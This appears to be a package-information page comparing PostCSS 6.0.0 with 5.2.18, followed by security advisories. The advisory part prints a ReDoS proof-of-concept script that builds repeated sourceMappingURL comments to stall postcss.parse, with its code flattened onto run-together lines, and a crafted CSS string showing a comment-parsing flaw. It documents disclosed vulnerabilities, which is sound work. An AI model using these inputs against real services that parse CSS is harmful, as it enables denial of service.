PostCSS version 6.0.0 represents a notable evolution from the previous stable release, 5.2.18, offering developers refined tools for transforming styles with JavaScript plugins. While both versions share the core functionality and some dependencies like chalk, source-map, and supports-color, the newer version introduces several updates and changes that enhance the development experience.
One key difference is the shift in testing frameworks. Version 6.0.0 adopts jest for testing, replacing ava used in version 5.2.18, which signals a change in the testing strategy and potentially improved performance or features for developers contributing to PostCSS. There are also subtle version updates across various development dependencies, reflecting the ongoing maintenance and integration of the latest tools. For instance, there is a notable change in the babel-preset-env from no version to version 1.4.0, deprecating preset es2015 from the previous version. This might bring updates to the code transpilation process and possibly better synergy with modern Javascript.
Furthermore, version 6.0.0 drops the js-base64 dependency, indicating potential code optimization or reliance on alternative methods for base64 encoding within the library. Style linter tools get upgraded, with eslint jumping from version 3.18.0 to 3.19.0 and newer versions of tools such as run-sequence, meaning that the toolset has been improved. These upgrades translate to improved performance, stability, and access to the latest features for developers leveraging PostCSS in their projects. PostCSS continues to be licensed under MIT, ensuring open-source flexibility for developers.
All the vulnerabilities related to the version 6.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.